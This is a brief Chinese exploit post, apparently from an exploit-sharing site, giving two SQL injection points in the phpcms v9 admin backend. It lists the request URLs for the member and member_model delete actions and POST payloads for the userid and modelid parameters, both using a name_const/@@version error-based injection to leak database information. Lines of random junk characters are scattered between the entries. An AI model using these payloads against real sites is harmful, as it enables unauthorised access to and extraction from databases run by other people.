phpcms两处后台的SQL注入

admin

(一)：
) J1 G& r1 I' E7 p1 q% H

http://www.0day5.com/phpcmsv9/index.php?m=member&c=member&a=delete&pc_hash=GlyB7G&id

post

userid=(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

$ j0 T2 l# F* c& g2 n
9 s; e: C- N, n+ c% Z9 B
/ K) E7 j7 }5 P+ X  M8 G; v

(二)：

http://www.0day5.com/phpcmsv9/index.php?m=member&c=member_model&a=delete&pc_hash=GlyB7G

post

modelid=(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)